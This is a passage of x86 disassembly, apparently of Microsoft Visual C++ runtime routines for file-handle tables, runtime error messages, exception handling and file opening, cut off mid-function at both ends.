loc_4232BD: ; CODE XREF: ___:004232AFj
cmp [edi], bl
mov eax, edi
jz short loc_4232CD
loc_4232C3: ; CODE XREF: ___:004232C6j
; ___:004232CBj
inc eax
cmp [eax], bl
jnz short loc_4232C3
inc eax
cmp [eax], bl
jnz short loc_4232C3
loc_4232CD: ; CODE XREF: ___:004232C1j
sub eax, edi
inc eax
mov ebp, eax
push ebp
call sub_41B4D5
mov esi, eax
pop ecx
cmp esi, ebx
jnz short loc_4232E3
xor esi, esi
jmp short loc_4232EE
; ---------------------------------------------------------------------------
loc_4232E3: ; CODE XREF: ___:004232DDj
push ebp
push edi
push esi
call sub_41C310
add esp, 0Ch
loc_4232EE: ; CODE XREF: ___:004232E1j
push edi
call near ptr 2650EBFh
nop
mov eax, esi
jmp short loc_4232FB
; ---------------------------------------------------------------------------
loc_4232F9: ; CODE XREF: ___:00423209j
; ___:00423231j ...
xor eax, eax
loc_4232FB: ; CODE XREF: ___:004232A6j
; ___:004232F7j
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
retn
; ---------------------------------------------------------------------------
sub esp, 44h
push ebx
push ebp
push esi
push edi
push 100h
call sub_41B4D5
mov esi, eax
pop ecx
test esi, esi
jnz short loc_423322
push 1Bh
call sub_41DA29
pop ecx
loc_423322: ; CODE XREF: ___:00423318j
mov dword_4DCCA0, esi
mov dword_4DCDA0, 20h
lea eax, [esi+100h]
loc_423338: ; CODE XREF: ___:00423354j
cmp esi, eax
jnb short loc_423356
and byte ptr [esi+4], 0
or dword ptr [esi], 0FFFFFFFFh
mov byte ptr [esi+5], 0Ah
mov eax, dword_4DCCA0
add esi, 8
add eax, 100h
jmp short loc_423338
; ---------------------------------------------------------------------------
loc_423356: ; CODE XREF: ___:0042333Aj
lea eax, [esp+10h]
push eax
nop
call near ptr 28D0000h
cmp word ptr [esp+42h], 0
jz loc_423432
mov eax, [esp+44h]
test eax, eax
jz loc_423432
mov esi, [eax]
lea ebp, [eax+4]
mov eax, 800h
cmp esi, eax
lea ebx, [esi+ebp]
jl short loc_42338C
mov esi, eax
loc_42338C: ; CODE XREF: ___:00423388j
cmp dword_4DCDA0, esi
jge short loc_4233E6
mov edi, offset dword_4DCCA4
loc_423399: ; CODE XREF: ___:004233DCj
push 100h
call sub_41B4D5
test eax, eax
pop ecx
jz short loc_4233E0
add dword_4DCDA0, 20h
mov [edi], eax
lea ecx, [eax+100h]
loc_4233B7: ; CODE XREF: ___:004233D1j
cmp eax, ecx
jnb short loc_4233D3
and byte ptr [eax+4], 0
or dword ptr [eax], 0FFFFFFFFh
mov byte ptr [eax+5], 0Ah
mov ecx, [edi]
add eax, 8
add ecx, 100h
jmp short loc_4233B7
; ---------------------------------------------------------------------------
loc_4233D3: ; CODE XREF: ___:004233B9j
add edi, 4
cmp dword_4DCDA0, esi
jl short loc_423399
jmp short loc_4233E6
; ---------------------------------------------------------------------------
loc_4233E0: ; CODE XREF: ___:004233A6j
mov esi, dword_4DCDA0
loc_4233E6: ; CODE XREF: ___:00423392j
; ___:004233DEj
xor edi, edi
test esi, esi
jle short loc_423432
loc_4233EC: ; CODE XREF: ___:00423430j
mov eax, [ebx]
cmp eax, 0FFFFFFFFh
jz short loc_423429
mov cl, [ebp+0]
test cl, 1
jz short loc_423429
test cl, 8
jnz short loc_42340B
push eax
nop
call near ptr 2650000h
test eax, eax
jz short loc_423429
loc_42340B: ; CODE XREF: ___:004233FEj
mov eax, edi
mov ecx, edi
sar eax, 5
and ecx, 1Fh
mov eax, dword_4DCCA0[eax*4]
lea eax, [eax+ecx*8]
mov ecx, [ebx]
mov [eax], ecx
mov cl, [ebp+0]
mov [eax+4], cl
loc_423429: ; CODE XREF: ___:004233F1j
; ___:004233F9j ...
inc edi
inc ebp
add ebx, 4
cmp edi, esi
jl short loc_4233EC
loc_423432: ; CODE XREF: ___:00423367j
; ___:00423373j ...
xor ebx, ebx
loc_423434: ; CODE XREF: ___:00423497j
mov eax, dword_4DCCA0
cmp dword ptr [eax+ebx*8], 0FFFFFFFFh
lea esi, [eax+ebx*8]
jnz short loc_42348F
test ebx, ebx
mov byte ptr [esi+4], 81h
jnz short loc_42344F
push 0FFFFFFF6h
pop eax
jmp short loc_423459
; ---------------------------------------------------------------------------
loc_42344F: ; CODE XREF: ___:00423448j
mov eax, ebx
dec eax
neg eax
sbb eax, eax
add eax, 0FFFFFFF5h
loc_423459: ; CODE XREF: ___:0042344Dj
push eax
nop
call near ptr 26508D5h
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_42347E
push edi
nop
call near ptr 2650000h
test eax, eax
jz short loc_42347E
and eax, 0FFh
mov [esi], edi
cmp eax, 2
jnz short loc_423484
loc_42347E: ; CODE XREF: ___:00423465j
; ___:00423470j
or byte ptr [esi+4], 40h
jmp short loc_423493
; ---------------------------------------------------------------------------
loc_423484: ; CODE XREF: ___:0042347Cj
cmp eax, 3
jnz short loc_423493
or byte ptr [esi+4], 8
jmp short loc_423493
; ---------------------------------------------------------------------------
loc_42348F: ; CODE XREF: ___:00423440j
or byte ptr [esi+4], 80h
loc_423493: ; CODE XREF: ___:00423482j
; ___:00423487j ...
inc ebx
cmp ebx, 3
jl short loc_423434
push dword_4DCDA0
nop
call near ptr 2650B6Dh
pop edi
pop esi
pop ebp
pop ebx
add esp, 44h
retn
; ---------------------------------------------------------------------------
align 10h
push esi
inc ebx
xor dh, [eax]
pop eax
inc ebx
xor [eax], dh
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4234B8 proc near ; DATA XREF: sub_42205D+Ao
; sub_42218C+Ao ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push ebp
cld
mov ebx, [ebp+arg_4]
mov eax, [ebp+arg_0]
test dword ptr [eax+4], 6
jnz loc_423558
mov [ebp+var_8], eax
mov eax, [ebp+arg_8]
mov [ebp+var_4], eax
lea eax, [ebp+var_8]
mov [ebx-4], eax
mov esi, [ebx+0Ch]
mov edi, [ebx+8]
loc_4234EB: ; CODE XREF: sub_4234B8+90j
cmp esi, 0FFFFFFFFh
jz short loc_423551
lea ecx, [esi+esi*2]
cmp dword ptr [edi+ecx*4+4], 0
jz short loc_42353F
push esi
push ebp
lea ebp, [ebx+10h]
call dword ptr [edi+ecx*4+4]
pop ebp
pop esi
mov ebx, [ebp+arg_4]
or eax, eax
jz short loc_42353F
js short loc_42354A
mov edi, [ebx+8]
push ebx
call sub_41CB74
; ---------------------------------------------------------------------------
add esp, 4
lea ebp, [ebx+10h]
push esi
push ebx
call sub_41CBB6
add esp, 8
lea ecx, [esi+esi*2]
push 1
mov eax, [edi+ecx*4+8]
call sub_41CC4A
mov eax, [edi+ecx*4]
mov [ebx+0Ch], eax
call dword ptr [edi+ecx*4+8]
loc_42353F: ; CODE XREF: sub_4234B8+40j
; sub_4234B8+52j
mov edi, [ebx+8]
lea ecx, [esi+esi*2]
mov esi, [edi+ecx*4]
jmp short loc_4234EB
; ---------------------------------------------------------------------------
loc_42354A: ; CODE XREF: sub_4234B8+54j
mov eax, 0
jmp short loc_42356D
; ---------------------------------------------------------------------------
loc_423551: ; CODE XREF: sub_4234B8+36j
mov eax, 1
jmp short loc_42356D
; ---------------------------------------------------------------------------
loc_423558: ; CODE XREF: sub_4234B8+18j
push ebp
lea ebp, [ebx+10h]
push 0FFFFFFFFh
push ebx
call sub_41CBB6
add esp, 8
pop ebp
mov eax, 1
loc_42356D: ; CODE XREF: sub_4234B8+97j
; sub_4234B8+9Ej
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4234B8 endp
; ---------------------------------------------------------------------------
push ebp
mov ecx, [esp+8]
mov ebp, [ecx]
mov eax, [ecx+1Ch]
push eax
mov eax, [ecx+18h]
push eax
call sub_41CBB6
add esp, 8
pop ebp
retn 4
; =============== S U B R O U T I N E =======================================
sub_423590 proc near ; CODE XREF: sub_41DA29+9p
mov eax, dword_4DB9D0
cmp eax, 1
jz short loc_4235A7
test eax, eax
jnz short locret_4235C8
cmp dword_43A9A4, 1
jnz short locret_4235C8
loc_4235A7: ; CODE XREF: sub_423590+8j
push 0FCh
call sub_4235C9
mov eax, dword_4DBB3C
pop ecx
test eax, eax
jz short loc_4235BD
call eax
loc_4235BD: ; CODE XREF: sub_423590+29j
push 0FFh
call sub_4235C9
pop ecx
locret_4235C8: ; CODE XREF: sub_423590+Cj
; sub_423590+15j
retn
sub_423590 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4235C9 proc near ; CODE XREF: sub_41DA29+12p
; sub_423590+1Cp ...
var_1A4 = byte ptr -1A4h
var_A0 = byte ptr -0A0h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1A4h
mov edx, [ebp+arg_0]
xor ecx, ecx
mov eax, offset dword_43D038
loc_4235DC: ; CODE XREF: sub_4235C9+20j
cmp edx, [eax]
jz short loc_4235EB
add eax, 8
inc ecx
cmp eax, offset off_43D0C8
jl short loc_4235DC
loc_4235EB: ; CODE XREF: sub_4235C9+15j
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword_43D038[esi]
jnz loc_423719
mov eax, dword_4DB9D0
cmp eax, 1
jz loc_4236F3
test eax, eax
jnz short loc_42361C
cmp dword_43A9A4, 1
jz loc_4236F3
loc_42361C: ; CODE XREF: sub_4235C9+44j
cmp edx, 0FCh
jz loc_423719
lea eax, [ebp+var_1A4]
push 104h
push eax
push 0
nop
call near ptr 26A0000h
test eax, eax
jnz short loc_423653
lea eax, [ebp+var_1A4]
push offset aProgramNameUnk ; "<program name unknown>"
push eax
call sub_41BEB0
pop ecx
pop ecx
loc_423653: ; CODE XREF: sub_4235C9+75j
lea eax, [ebp+var_1A4]
push edi
push eax
lea edi, [ebp+var_1A4]
call sub_41AFE0
inc eax
pop ecx
cmp eax, 3Ch
jbe short loc_423696
lea eax, [ebp+var_1A4]
push eax
call sub_41AFE0
mov edi, eax
lea eax, [ebp+var_1A4]
sub eax, 3Bh
push 3
add edi, eax
push offset a___ ; "..."
push edi
call sub_41B5F0
add esp, 10h
loc_423696: ; CODE XREF: sub_4235C9+A2j
lea eax, [ebp+var_A0]
push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
push eax
call sub_41BEB0
lea eax, [ebp+var_A0]
push edi
push eax
call sub_41BEC0
lea eax, [ebp+var_A0]
push offset asc_427C08 ; "\n\n"
push eax
call sub_41BEC0
push off_43D03C[esi]
lea eax, [ebp+var_A0]
push eax
call sub_41BEC0
push 12010h
lea eax, [ebp+var_A0]
push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
push eax
call sub_424D78
add esp, 2Ch
pop edi
jmp short loc_423719
; ---------------------------------------------------------------------------
loc_4236F3: ; CODE XREF: sub_4235C9+3Cj
; sub_4235C9+4Dj
lea eax, [ebp+arg_0]
lea esi, off_43D03C[esi]
push 0
push eax
push dword ptr [esi]
call sub_41AFE0
pop ecx
push eax
push dword ptr [esi]
push 0FFFFFFF4h
nop
call near ptr 26508D5h
push eax
nop
call near ptr 2720000h
loc_423719: ; CODE XREF: sub_4235C9+2Ej
; sub_4235C9+59j ...
pop esi
leave
retn
sub_4235C9 endp
; =============== S U B R O U T I N E =======================================
sub_42371C proc near ; CODE XREF: sub_423A33:loc_423BABp
push ebx
push esi
push edi
or ebx, 0FFFFFFFFh
xor edi, edi
xor esi, esi
mov ecx, offset dword_4DCCA0
loc_42372B: ; CODE XREF: sub_42371C+48j
mov eax, [ecx]
test eax, eax
jz short loc_423768
lea edx, [eax+100h]
loc_423737: ; CODE XREF: sub_42371C+28j
cmp eax, edx
jnb short loc_423757
test byte ptr [eax+4], 1
jz short loc_423746
add eax, 8
jmp short loc_423737
; ---------------------------------------------------------------------------
loc_423746: ; CODE XREF: sub_42371C+23j
or dword ptr [eax], 0FFFFFFFFh
sub eax, [ecx]
sar eax, 3
add eax, esi
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_4237AB
loc_423757: ; CODE XREF: sub_42371C+1Dj
add ecx, 4
inc edi
add esi, 20h
cmp ecx, offset dword_4DCDA0
jl short loc_42372B
jmp short loc_4237AB
; ---------------------------------------------------------------------------
loc_423768: ; CODE XREF: sub_42371C+13j
mov esi, 100h
push esi
call sub_41B4D5
test eax, eax
pop ecx
jz short loc_4237AB
add dword_4DCDA0, 20h
lea ecx, ds:4DCCA0h[edi*4]
lea edx, [eax+100h]
mov [ecx], eax
loc_42378E: ; CODE XREF: sub_42371C+88j
cmp eax, edx
jnb short loc_4237A6
and byte ptr [eax+4], 0
or dword ptr [eax], 0FFFFFFFFh
mov byte ptr [eax+5], 0Ah
mov edx, [ecx]
add eax, 8
add edx, esi
jmp short loc_42378E
; ---------------------------------------------------------------------------
loc_4237A6: ; CODE XREF: sub_42371C+74j
shl edi, 5
mov ebx, edi
loc_4237AB: ; CODE XREF: sub_42371C+39j
; sub_42371C+4Aj ...
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_42371C endp
; =============== S U B R O U T I N E =======================================
sub_4237B1 proc near ; CODE XREF: sub_423A33+1F4p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
cmp eax, dword_4DCDA0
push edi
jnb short loc_423811
mov ecx, eax
mov esi, eax
sar ecx, 5
and esi, 1Fh
lea edi, ds:4DCCA0h[ecx*4]
shl esi, 3
mov ecx, [edi]
cmp dword ptr [ecx+esi], 0FFFFFFFFh
jnz short loc_423811
cmp dword_43A9A4, 1
push ebx
mov ebx, [esp+0Ch+arg_4]
jnz short loc_423807
sub eax, 0
jz short loc_4237FE
dec eax
jz short loc_4237F9
dec eax
jnz short loc_423807
push ebx
push 0FFFFFFF4h
jmp short loc_423801
; ---------------------------------------------------------------------------
loc_4237F9: ; CODE XREF: sub_4237B1+3Ej
push ebx
push 0FFFFFFF5h
jmp short loc_423801
; ---------------------------------------------------------------------------
loc_4237FE: ; CODE XREF: sub_4237B1+3Bj
push ebx
push 0FFFFFFF6h
loc_423801: ; CODE XREF: sub_4237B1+46j
; sub_4237B1+4Bj
nop
call near ptr 2640D64h
loc_423807: ; CODE XREF: sub_4237B1+36j
; sub_4237B1+41j
mov eax, [edi]
mov [eax+esi], ebx
xor eax, eax
pop ebx
jmp short loc_423825
; ---------------------------------------------------------------------------
loc_423811: ; CODE XREF: sub_4237B1+Cj
; sub_4237B1+28j
and dword_4DB95C, 0
mov dword_4DB958, 9
or eax, 0FFFFFFFFh
loc_423825: ; CODE XREF: sub_4237B1+5Ej
pop edi
pop esi
retn
sub_4237B1 endp
; =============== S U B R O U T I N E =======================================
sub_423828 proc near ; CODE XREF: sub_41DA72+7Cp
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
push esi
cmp ecx, dword_4DCDA0
push edi
jnb short loc_42388B
mov eax, ecx
mov esi, ecx
sar eax, 5
and esi, 1Fh
lea edi, ds:4DCCA0h[eax*4]
shl esi, 3
mov eax, [edi]
add eax, esi
test byte ptr [eax+4], 1
jz short loc_42388B
cmp dword ptr [eax], 0FFFFFFFFh
jz short loc_42388B
cmp dword_43A9A4, 1
jnz short loc_423881
xor eax, eax
sub ecx, eax
jz short loc_423878
dec ecx
jz short loc_423873
dec ecx
jnz short loc_423881
push eax
push 0FFFFFFF4h
jmp short loc_42387B
; ---------------------------------------------------------------------------
loc_423873: ; CODE XREF: sub_423828+41j
push eax
push 0FFFFFFF5h
jmp short loc_42387B
; ---------------------------------------------------------------------------
loc_423878: ; CODE XREF: sub_423828+3Ej
push eax
push 0FFFFFFF6h
loc_42387B: ; CODE XREF: sub_423828+49j
; sub_423828+4Ej
call near ptr 2640D64h
nop
loc_423881: ; CODE XREF: sub_423828+38j
; sub_423828+44j
mov eax, [edi]
or dword ptr [eax+esi], 0FFFFFFFFh
xor eax, eax
jmp short loc_42389F
; ---------------------------------------------------------------------------
loc_42388B: ; CODE XREF: sub_423828+Cj
; sub_423828+2Aj ...
and dword_4DB95C, 0
mov dword_4DB958, 9
or eax, 0FFFFFFFFh
loc_42389F: ; CODE XREF: sub_423828+61j
pop edi
pop esi
retn
sub_423828 endp
; =============== S U B R O U T I N E =======================================
sub_4238A2 proc near ; CODE XREF: sub_41DA72+32p
; sub_41DA72+49p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, dword_4DCDA0
jnb short loc_4238CA
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, dword_4DCCA0[ecx*4]
test byte ptr [ecx+eax*8+4], 1
lea eax, [ecx+eax*8]
jz short loc_4238CA
mov eax, [eax]
retn
; ---------------------------------------------------------------------------
loc_4238CA: ; CODE XREF: sub_4238A2+Aj
; sub_4238A2+23j
and dword_4DB95C, 0
mov dword_4DB958, 9
or eax, 0FFFFFFFFh
retn
sub_4238A2 endp
; =============== S U B R O U T I N E =======================================
sub_4238DF proc near ; CODE XREF: sub_41DB50+2Bp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, dword_4DCDA0
jnb short loc_423928
mov ecx, eax
mov edx, eax
sar ecx, 5
and edx, 1Fh
mov ecx, dword_4DCCA0[ecx*4]
test byte ptr [ecx+edx*8+4], 1
jz short loc_423928
push eax
call sub_4238A2
pop ecx
push eax
call near ptr 26407F1h
nop
test eax, eax
jnz short loc_42391D
nop
call near ptr 26B0857h
jmp short loc_42391F
; ---------------------------------------------------------------------------
loc_42391D: ; CODE XREF: sub_4238DF+34j
xor eax, eax
loc_42391F: ; CODE XREF: sub_4238DF+3Cj
test eax, eax
jz short locret_423935
mov dword_4DB95C, eax
loc_423928: ; CODE XREF: sub_4238DF+Aj
; sub_4238DF+22j
mov dword_4DB958, 9
or eax, 0FFFFFFFFh
locret_423935: ; CODE XREF: sub_4238DF+42j
retn
sub_4238DF endp
; =============== S U B R O U T I N E =======================================
sub_423936 proc near ; DATA XREF: ___:00429024o
mov eax, dword_4DCC80
push esi
push 14h
test eax, eax
pop esi
jnz short loc_42394A
mov eax, 200h
jmp short loc_423950
; ---------------------------------------------------------------------------
loc_42394A: ; CODE XREF: sub_423936+Bj
cmp eax, esi
jge short loc_423955
mov eax, esi
loc_423950: ; CODE XREF: sub_423936+12j
mov dword_4DCC80, eax
loc_423955: ; CODE XREF: sub_423936+16j
push 4
push eax
call sub_424E01
pop ecx
mov dword_4DBC78, eax
test eax, eax
pop ecx
jnz short loc_423989
push 4
push esi
mov dword_4DCC80, esi
call sub_424E01
pop ecx
mov dword_4DBC78, eax
test eax, eax
pop ecx
jnz short loc_423989
push 1Ah
call sub_41DA29
pop ecx
loc_423989: ; CODE XREF: sub_423936+30j
; sub_423936+49j
xor ecx, ecx
mov eax, offset off_43D0C8
loc_423990: ; CODE XREF: sub_423936+6Ej
mov edx, dword_4DBC78
mov [ecx+edx], eax
add eax, 20h
add ecx, 4
cmp eax, offset dword_43D348
jl short loc_423990
xor edx, edx
mov ecx, offset dword_43D0D8
loc_4239AD: ; CODE XREF: sub_423936+A1j
mov eax, edx
mov esi, edx
sar eax, 5
and esi, 1Fh
mov eax, dword_4DCCA0[eax*4]
mov eax, [eax+esi*8]
cmp eax, 0FFFFFFFFh
jz short loc_4239CA
test eax, eax
jnz short loc_4239CD
loc_4239CA: ; CODE XREF: sub_423936+8Ej
or dword ptr [ecx], 0FFFFFFFFh
loc_4239CD: ; CODE XREF: sub_423936+92j
add ecx, 20h
inc edx
cmp ecx, offset dword_43D138
jl short loc_4239AD
pop esi
retn
sub_423936 endp
; =============== S U B R O U T I N E =======================================
sub_4239DB proc near ; DATA XREF: ___:00429034o
; FUNCTION CHUNK AT 00424EB2 SIZE 00000058 BYTES
call sub_41DBE7
cmp byte_4DB998, 0
jz short locret_4239EE
jmp loc_424EB2
; ---------------------------------------------------------------------------
locret_4239EE: ; CODE XREF: sub_4239DB+Cj
retn
sub_4239DB endp
; =============== S U B R O U T I N E =======================================
sub_4239EF proc near ; CODE XREF: sub_41F043+32p
; sub_41F58A+6Cp ...
arg_0 = dword ptr 4
inc dword_4DBB40
push 1000h
call sub_41B4D5
pop ecx
mov ecx, [esp+arg_0]
test eax, eax
mov [ecx+8], eax
jz short loc_423A18
or dword ptr [ecx+0Ch], 8
mov dword ptr [ecx+18h], 1000h
jmp short loc_423A29
; ---------------------------------------------------------------------------
loc_423A18: ; CODE XREF: sub_4239EF+1Aj
or dword ptr [ecx+0Ch], 4
lea eax, [ecx+14h]
mov [ecx+8], eax
mov dword ptr [ecx+18h], 2
loc_423A29: ; CODE XREF: sub_4239EF+27j
mov eax, [ecx+8]
and dword ptr [ecx+4], 0
mov [ecx], eax
retn
sub_4239EF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423A33 proc near ; CODE XREF: sub_41F32D+13Fp
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 1Ch
mov ecx, [ebp+arg_4]
push ebx
xor ebx, ebx
push esi
test cl, 80h
push edi
mov [ebp+var_1C], 0Ch
mov [ebp+var_18], ebx
jz short loc_423A59
mov [ebp+var_14], ebx
mov [ebp+var_1], 10h
jmp short loc_423A64
; ---------------------------------------------------------------------------
loc_423A59: ; CODE XREF: sub_423A33+1Bj
and [ebp+var_1], 0
mov [ebp+var_14], 1
loc_423A64: ; CODE XREF: sub_423A33+24j
mov eax, 8000h
test ecx, eax
jnz short loc_423A7E
test ch, 40h
jnz short loc_423A7A
cmp dword_4DBC50, eax
jz short loc_423A7E
loc_423A7A: ; CODE XREF: sub_423A33+3Dj
or [ebp+var_1], 80h
loc_423A7E: ; CODE XREF: sub_423A33+38j
; sub_423A33+45j
push 3
mov eax, ecx
pop esi
and eax, esi
sub eax, ebx
jz short loc_423AB6
dec eax
jz short loc_423AAD
dec eax
jz short loc_423AA4
loc_423A8F: ; CODE XREF: sub_423A33+9Fj
; sub_423A33+E8j ...
mov dword_4DB958, 16h
mov dword_4DB95C, ebx
jmp loc_423CC9
; ---------------------------------------------------------------------------
loc_423AA4: ; CODE XREF: sub_423A33+5Aj
mov [ebp+var_C], 0C0000000h
jmp short loc_423ABD
; ---------------------------------------------------------------------------
loc_423AAD: ; CODE XREF: sub_423A33+57j
mov [ebp+var_C], 40000000h
jmp short loc_423ABD
; ---------------------------------------------------------------------------
loc_423AB6: ; CODE XREF: sub_423A33+54j
mov [ebp+var_C], 80000000h
loc_423ABD: ; CODE XREF: sub_423A33+78j
; sub_423A33+81j
mov eax, [ebp+arg_8]
cmp eax, 10h
jz short loc_423AEB
cmp eax, 20h
jz short loc_423AE2
cmp eax, 30h
jz short loc_423AD9
cmp eax, 40h
jnz short loc_423A8F
mov [ebp+var_10], esi
jmp short loc_423AEE
; ---------------------------------------------------------------------------
loc_423AD9: ; CODE XREF: sub_423A33+9Aj
mov [ebp+var_10], 2
jmp short loc_423AEE
; ---------------------------------------------------------------------------
loc_423AE2: ; CODE XREF: sub_423A33+95j
mov [ebp+var_10], 1
jmp short loc_423AEE
; ---------------------------------------------------------------------------
loc_423AEB: ; CODE XREF: sub_423A33+90j
mov [ebp+var_10], ebx
loc_423AEE: ; CODE XREF: sub_423A33+A4j
; sub_423A33+ADj ...
mov edx, 700h
mov eax, 400h
and ecx, edx
mov edi, 100h
cmp ecx, eax
jg short loc_423B38
jz short loc_423B33
cmp ecx, ebx
jz short loc_423B33
cmp ecx, edi
jz short loc_423B2A
cmp ecx, 200h
jz short loc_423B51
cmp ecx, 300h
jnz loc_423A8F
mov [ebp+var_8], 2
jmp short loc_423B61
; ---------------------------------------------------------------------------
loc_423B2A: ; CODE XREF: sub_423A33+D8j
mov [ebp+var_8], 4
jmp short loc_423B61
; ---------------------------------------------------------------------------
loc_423B33: ; CODE XREF: sub_423A33+D0j
; sub_423A33+D4j
mov [ebp+var_8], esi
jmp short loc_423B61
; ---------------------------------------------------------------------------
loc_423B38: ; CODE XREF: sub_423A33+CEj
cmp ecx, 500h
jz short loc_423B5A
cmp ecx, 600h
jz short loc_423B51
cmp ecx, edx
jz short loc_423B5A
jmp loc_423A8F
; ---------------------------------------------------------------------------
loc_423B51: ; CODE XREF: sub_423A33+E0j
; sub_423A33+113j
mov [ebp+var_8], 5
jmp short loc_423B61
; ---------------------------------------------------------------------------
loc_423B5A: ; CODE XREF: sub_423A33+10Bj
; sub_423A33+117j
mov [ebp+var_8], 1
loc_423B61: ; CODE XREF: sub_423A33+F5j
; sub_423A33+FEj ...
mov eax, [ebp+arg_4]
mov esi, 80h
test eax, edi
jz short loc_423B80
mov ecx, dword_4DB960
not ecx
and ecx, [ebp+arg_C]
test cl, 80h
jnz short loc_423B80
push 1
pop esi
loc_423B80: ; CODE XREF: sub_423A33+138j
; sub_423A33+148j
test al, 40h
jz short loc_423B8E
or esi, 4000000h
or byte ptr [ebp+var_C+2], 1
loc_423B8E: ; CODE XREF: sub_423A33+14Fj
test ah, 10h
jz short loc_423B95
or esi, edi
loc_423B95: ; CODE XREF: sub_423A33+15Ej
test al, 20h
jz short loc_423BA1
or esi, 8000000h
jmp short loc_423BAB
; ---------------------------------------------------------------------------
loc_423BA1: ; CODE XREF: sub_423A33+164j
test al, 10h
jz short loc_423BAB
or esi, 10000000h
loc_423BAB: ; CODE XREF: sub_423A33+16Cj
; sub_423A33+170j
call sub_42371C
mov ebx, eax
or edi, 0FFFFFFFFh
cmp ebx, edi
jnz short loc_423BCC
and dword_4DB95C, 0
mov dword_4DB958, 18h
jmp short loc_423C0A
; ---------------------------------------------------------------------------
loc_423BCC: ; CODE XREF: sub_423A33+184j
push 0
push esi
push [ebp+var_8]
lea eax, [ebp+var_1C]
push eax
push [ebp+var_10]
push [ebp+var_C]
push [ebp+arg_0]
nop
call near ptr 27308C8h
mov esi, eax
cmp esi, edi
jz short loc_423BFD
push esi
nop
call near ptr 2650000h
test eax, eax
jnz short loc_423C11
push esi
call near ptr 2690934h
nop
loc_423BFD: ; CODE XREF: sub_423A33+1B6j
nop
call near ptr 26B0857h
push eax
call sub_4203DF
pop ecx
loc_423C0A: ; CODE XREF: sub_423A33+197j
mov eax, edi
jmp loc_423CE7
; ---------------------------------------------------------------------------
loc_423C11: ; CODE XREF: sub_423A33+1C1j
cmp eax, 2
jnz short loc_423C1C
or [ebp+var_1], 40h
jmp short loc_423C25
; ---------------------------------------------------------------------------
loc_423C1C: ; CODE XREF: sub_423A33+1E1j
cmp eax, 3
jnz short loc_423C25
or [ebp+var_1], 8
loc_423C25: ; CODE XREF: sub_423A33+1E7j
; sub_423A33+1ECj
push esi
push ebx
call sub_4237B1
pop ecx
mov al, [ebp+var_1]
pop ecx
mov esi, ebx
mov ecx, ebx
or al, 1
sar ecx, 5
and esi, 1Fh
mov byte ptr [ebp+arg_0+3], al
lea edi, ds:4DCCA0h[ecx*4]
shl esi, 3
mov ecx, [edi]
and byte ptr [ebp+arg_0+3], 48h
mov [ecx+esi+4], al
jnz short loc_423CCE
test al, 80h
jz short loc_423CCE
test byte ptr [ebp+arg_4], 2
jz short loc_423CCE
push 2
push 0FFFFFFFFh
push ebx
call sub_42272B
add esp, 0Ch
cmp eax, 0FFFFFFFFh
mov [ebp+var_10], eax
jnz short loc_423C83
cmp dword_4DB95C, 83h
jz short loc_423CCE
jmp short loc_423CC2
; ---------------------------------------------------------------------------
loc_423C83: ; CODE XREF: sub_423A33+240j
and byte ptr [ebp+arg_8+3], 0
lea eax, [ebp+arg_8+3]
push 1
push eax
push ebx
call sub_41F11C
add esp, 0Ch
test eax, eax
jnz short loc_423CB0
cmp byte ptr [ebp+arg_8+3], 1Ah
jnz short loc_423CB0
push [ebp+var_10]
push ebx
call sub_424F0A
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_423CC2
loc_423CB0: ; CODE XREF: sub_423A33+265j
; sub_423A33+26Bj
push 0
push 0
push ebx
call sub_42272B
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jnz short loc_423CCE
loc_423CC2: ; CODE XREF: sub_423A33+24Ej
; sub_423A33+27Bj
push ebx
call sub_41DA72
pop ecx
loc_423CC9: ; CODE XREF: sub_423A33+6Cj
or eax, 0FFFFFFFFh
jmp short loc_423CE7
; ---------------------------------------------------------------------------
loc_423CCE: ; CODE XREF: sub_423A33+221j
; sub_423A33+225j ...
cmp byte ptr [ebp+arg_0+3], 0
jnz short loc_423CE5
test byte ptr [ebp+arg_4], 8
jz short loc_423CE5
mov eax, [edi]
or byte ptr [eax+esi+4], 20h
lea eax, [eax+esi+4]
loc_423CE5: ; CODE XREF: sub_423A33+29Fj
; sub_423A33+2A5j
mov eax, ebx
loc_423CE7: ; CODE XREF: sub_423A33+1D9j
; sub_423A33+299j
pop edi
pop esi
pop ebx
leave
retn
sub_423A33 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423CEC proc near ; CODE XREF: sub_41F515+5Ep
; sub_4200E8+9Ap
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_427C48
